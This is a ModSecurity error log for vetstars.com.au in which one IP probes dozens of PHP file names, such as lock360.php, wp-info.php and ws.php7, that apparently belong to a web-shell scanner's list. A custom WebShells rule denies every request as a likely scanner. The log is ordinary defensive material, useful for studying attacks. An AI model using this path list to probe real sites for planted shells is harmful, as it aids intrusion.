[Mon Jan 05 18:49:50.896487 2026] [:error] [pid 5536:tid 5611] [client 4.197.220.165:15523] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aVuXTgRtMZNG6xI8yDzOIQAAAI4"]
[Mon Jan 05 18:49:51.589624 2026] [:error] [pid 6680:tid 6698] [client 4.197.220.165:15498] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aVuXT6E58uNoazzTmx3Y1gAAARA"]
[Mon Jan 05 18:49:51.919602 2026] [:error] [pid 5536:tid 5613] [client 4.197.220.165:11077] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aVuXTwRtMZNG6xI8yDzOJAAAAJA"]
[Mon Jan 05 18:49:52.605969 2026] [:error] [pid 6680:tid 6687] [client 4.197.220.165:11179] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aVuXUKE58uNoazzTmx3Y2AAAAQU"]
[Mon Jan 05 18:49:53.026206 2026] [:error] [pid 54081:tid 54085] [client 4.197.220.165:11079] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aVuXUVL4jLgtF-b9w4dvYgAAAUE"]
[Mon Jan 05 18:49:53.120504 2026] [:error] [pid 54081:tid 54088] [client 4.197.220.165:11238] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aVuXUVL4jLgtF-b9w4dvYwAAAUQ"]
[Mon Jan 05 18:49:53.183633 2026] [:error] [pid 5535:tid 5586] [client 4.197.220.165:11210] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aVuXUWnkedMjhVX0PTVdOgAAAFA"]
[Mon Jan 05 18:49:53.362606 2026] [:error] [pid 54081:tid 54106] [client 4.197.220.165:11247] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aVuXUVL4jLgtF-b9w4dvZAAAAVY"]
[Mon Jan 05 18:49:53.558926 2026] [:error] [pid 6680:tid 6684] [client 4.197.220.165:11085] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aVuXUaE58uNoazzTmx3Y2QAAAQI"]
[Mon Jan 05 18:49:53.896189 2026] [:error] [pid 28407:tid 28417] [client 4.197.220.165:15549] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aVuXUdercd3ptydUzM0xZQAAAYc"]
[Mon Jan 05 18:49:54.006979 2026] [:error] [pid 6680:tid 6694] [client 4.197.220.165:11108] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aVuXUqE58uNoazzTmx3Y2gAAAQw"]
[Mon Jan 05 18:49:54.126835 2026] [:error] [pid 54081:tid 54098] [client 4.197.220.165:11088] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aVuXUlL4jLgtF-b9w4dvZgAAAU4"]
[Mon Jan 05 18:49:54.199830 2026] [:error] [pid 28407:tid 28425] [client 4.197.220.165:11184] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVuXUtercd3ptydUzM0xZgAAAY4"]
[Mon Jan 05 18:49:54.304286 2026] [:error] [pid 28407:tid 28416] [client 4.197.220.165:11239] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVuXUtercd3ptydUzM0xZwAAAYY"]
[Mon Jan 05 18:49:54.679878 2026] [:error] [pid 5534:tid 5565] [client 4.197.220.165:11153] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVuXUpNs9XmbR6unB0ylqQAAABY"]
[Mon Jan 05 18:49:54.854638 2026] [:error] [pid 5534:tid 5566] [client 4.197.220.165:11013] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aVuXUpNs9XmbR6unB0ylqgAAABc"]
[Mon Jan 05 18:49:54.963340 2026] [:error] [pid 5632:tid 5648] [client 4.197.220.165:15555] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aVuXUoN3ZWvlOh-nbt-w1wAAAMQ"]
[Mon Jan 05 18:49:55.060818 2026] [:error] [pid 6680:tid 6696] [client 4.197.220.165:11223] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aVuXU6E58uNoazzTmx3Y3gAAAQ4"]
[Mon Jan 05 18:49:55.137489 2026] [:error] [pid 6680:tid 6703] [client 4.197.220.165:11226] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aVuXU6E58uNoazzTmx3Y4AAAARU"]
[Mon Jan 05 18:49:55.253772 2026] [:error] [pid 5535:tid 5577] [client 4.197.220.165:11089] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aVuXU2nkedMjhVX0PTVdPAAAAEc"]
[Mon Jan 05 18:49:55.327529 2026] [:error] [pid 5536:tid 5615] [client 4.197.220.165:11242] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVuXUwRtMZNG6xI8yDzOJgAAAJI"]
[Mon Jan 05 18:49:55.383371 2026] [:error] [pid 5535:tid 5573] [client 4.197.220.165:11263] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVuXU2nkedMjhVX0PTVdPgAAAEM"]
[Mon Jan 05 18:49:55.437339 2026] [:error] [pid 28407:tid 28427] [client 4.197.220.165:11139] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVuXU9ercd3ptydUzM0xaQAAAZA"]
[Mon Jan 05 18:49:55.847858 2026] [:error] [pid 6680:tid 6702] [client 4.197.220.165:11087] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVuXU6E58uNoazzTmx3Y4gAAARQ"]
[Mon Jan 05 18:49:55.998291 2026] [:error] [pid 6680:tid 6693] [client 4.197.220.165:11229] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aVuXU6E58uNoazzTmx3Y4wAAAQs"]
[Mon Jan 05 18:49:56.238016 2026] [:error] [pid 54081:tid 54086] [client 4.197.220.165:15587] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aVuXVFL4jLgtF-b9w4dvaAAAAUI"]
[Mon Jan 05 18:49:56.597250 2026] [:error] [pid 5534:tid 5560] [client 4.197.220.165:15533] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aVuXVJNs9XmbR6unB0ylqwAAABE"]
[Mon Jan 05 18:49:56.782214 2026] [:error] [pid 5536:tid 5620] [client 4.197.220.165:11181] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aVuXVARtMZNG6xI8yDzOJwAAAJc"]
[Mon Jan 05 18:49:56.955723 2026] [:error] [pid 28407:tid 28420] [client 4.197.220.165:11148] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVuXVNercd3ptydUzM0xawAAAYk"]
[Mon Jan 05 18:49:57.529888 2026] [:error] [pid 5632:tid 5656] [client 4.197.220.165:11262] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVuXVYN3ZWvlOh-nbt-w2QAAAMw"]
[Mon Jan 05 18:49:57.877024 2026] [:error] [pid 28407:tid 28419] [client 4.197.220.165:11208] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVuXVdercd3ptydUzM0xbgAAAYg"]
[Mon Jan 05 18:49:58.002504 2026] [:error] [pid 5535:tid 5588] [client 4.197.220.165:11156] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aVuXVmnkedMjhVX0PTVdQwAAAFI"]
[Mon Jan 05 18:49:58.121164 2026] [:error] [pid 5535:tid 5593] [client 4.197.220.165:11198] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aVuXVmnkedMjhVX0PTVdRAAAAFc"]
[Mon Jan 05 18:49:58.172242 2026] [:error] [pid 5535:tid 5584] [client 4.197.220.165:11196] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aVuXVmnkedMjhVX0PTVdRQAAAE4"]
[Mon Jan 05 18:49:58.291088 2026] [:error] [pid 5535:tid 5591] [client 4.197.220.165:11104] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aVuXVmnkedMjhVX0PTVdRgAAAFU"]
[Mon Jan 05 18:49:58.345211 2026] [:error] [pid 5535:tid 5570] [client 4.197.220.165:11168] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aVuXVmnkedMjhVX0PTVdRwAAAEA"]
[Mon Jan 05 18:49:58.401537 2026] [:error] [pid 5535:tid 5574] [client 4.197.220.165:11022] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aVuXVmnkedMjhVX0PTVdSQAAAEQ"]
[Mon Jan 05 18:49:58.641966 2026] [:error] [pid 5535:tid 5594] [client 4.197.220.165:11096] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aVuXVmnkedMjhVX0PTVdSwAAAFg"]
[Mon Jan 05 18:49:58.805899 2026] [:error] [pid 5535:tid 5576] [client 4.197.220.165:11232] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aVuXVmnkedMjhVX0PTVdTAAAAEY"]
[Mon Jan 05 18:49:58.839600 2026] [:error] [pid 5534:tid 5561] [client 4.197.220.165:11147] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aVuXVpNs9XmbR6unB0ylrAAAABI"]
[Mon Jan 05 18:49:58.928767 2026] [:error] [pid 5534:tid 5546] [client 4.197.220.165:11130] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aVuXVpNs9XmbR6unB0ylrQAAAAM"]
[Mon Jan 05 18:49:58.987994 2026] [:error] [pid 5536:tid 5612] [client 4.197.220.165:11025] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aVuXVgRtMZNG6xI8yDzOKAAAAI8"]
[Mon Jan 05 18:49:59.064088 2026] [:error] [pid 5632:tid 5654] [client 4.197.220.165:11251] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aVuXV4N3ZWvlOh-nbt-w2gAAAMo"]
[Mon Jan 05 18:49:59.122917 2026] [:error] [pid 5534:tid 5543] [client 4.197.220.165:11183] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aVuXV5Ns9XmbR6unB0ylrgAAAAA"]
[Mon Jan 05 18:49:59.176884 2026] [:error] [pid 5536:tid 5606] [client 4.197.220.165:11076] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aVuXVwRtMZNG6xI8yDzOKQAAAIk"]
[Mon Jan 05 18:49:59.289491 2026] [:error] [pid 5632:tid 5664] [client 4.197.220.165:11149] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aVuXV4N3ZWvlOh-nbt-w2wAAANQ"]
[Mon Jan 05 18:49:59.384132 2026] [:error] [pid 5632:tid 5650] [client 4.197.220.165:11249] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aVuXV4N3ZWvlOh-nbt-w3AAAAMY"]
[Mon Jan 05 18:49:59.460637 2026] [:error] [pid 5632:tid 5663] [client 4.197.220.165:11171] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aVuXV4N3ZWvlOh-nbt-w3QAAANM"]
[Mon Jan 05 18:49:59.581406 2026] [:error] [pid 5632:tid 5665] [client 4.197.220.165:15544] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aVuXV4N3ZWvlOh-nbt-w3gAAANU"]
[Mon Jan 05 18:49:59.705772 2026] [:error] [pid 5632:tid 5662] [client 4.197.220.165:11039] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aVuXV4N3ZWvlOh-nbt-w4AAAANI"]
[Mon Jan 05 18:49:59.863175 2026] [:error] [pid 5632:tid 5659] [client 4.197.220.165:11261] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aVuXV4N3ZWvlOh-nbt-w4QAAAM8"]
[Mon Jan 05 18:50:00.060917 2026] [:error] [pid 5536:tid 5600] [client 4.197.220.165:15605] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aVuXWARtMZNG6xI8yDzOKgAAAIM"]
[Mon Jan 05 18:50:00.165855 2026] [:error] [pid 5536:tid 5605] [client 4.197.220.165:11029] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aVuXWARtMZNG6xI8yDzOKwAAAIg"]
[Mon Jan 05 18:50:00.214084 2026] [:error] [pid 5536:tid 5601] [client 4.197.220.165:11091] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aVuXWARtMZNG6xI8yDzOLAAAAIQ"]
[Mon Jan 05 18:50:00.260379 2026] [:error] [pid 5535:tid 5583] [client 4.197.220.165:11080] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aVuXWGnkedMjhVX0PTVdTwAAAE0"]
[Mon Jan 05 18:50:00.297091 2026] [:error] [pid 5534:tid 5549] [client 4.197.220.165:11178] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aVuXWJNs9XmbR6unB0ylrwAAAAY"]
